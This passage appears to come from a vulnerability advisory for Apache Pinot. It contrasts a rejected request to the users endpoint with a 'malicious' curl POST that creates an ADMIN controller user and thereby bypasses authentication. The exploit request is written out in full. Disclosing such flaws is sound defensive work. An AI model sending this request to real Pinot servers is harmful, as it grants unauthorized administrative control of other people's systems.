 http://{server_ip}:9000/users

Return: {"code":401,"error":"HTTP 401 Unauthorized"}
*Malicious Request and Response Example*

curl -X POST -H "Content-Type: application/json" -d
'{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}'

A new user gets added bypassing authentication, enabling the user to
control Pinot.
